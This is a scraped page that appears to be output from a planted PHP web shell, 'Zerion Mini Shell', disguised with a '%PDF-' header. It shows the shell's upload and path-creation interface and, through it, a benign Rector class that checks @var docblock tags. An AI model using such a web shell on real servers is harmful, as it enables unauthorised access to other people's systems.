%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/code/vendor/rector/rector/packages/PhpDocParser/
Upload File :
Create Path :
Current File : /home/vacivi36/code/vendor/rector/rector/packages/PhpDocParser/PhpDocInfoAnalyzer.php

<?php

declare (strict_types=1);
namespace Rector\PhpDocParser;

use PHPStan\Type\MixedType;
use Rector\BetterPhpDocParser\PhpDocInfo\PhpDocInfo;
final class PhpDocInfoAnalyzer
{
    public function isVarDocAlreadySet(PhpDocInfo $phpDocInfo) : bool
    {
        foreach (['@var', '@phpstan-var', '@psalm-var'] as $tagName) {
            $varType = $phpDocInfo->getVarType($tagName);
            if (!$varType instanceof MixedType) {
                return \true;
            }
        }
        return \false;
    }
}

Zerion Mini Shell 1.0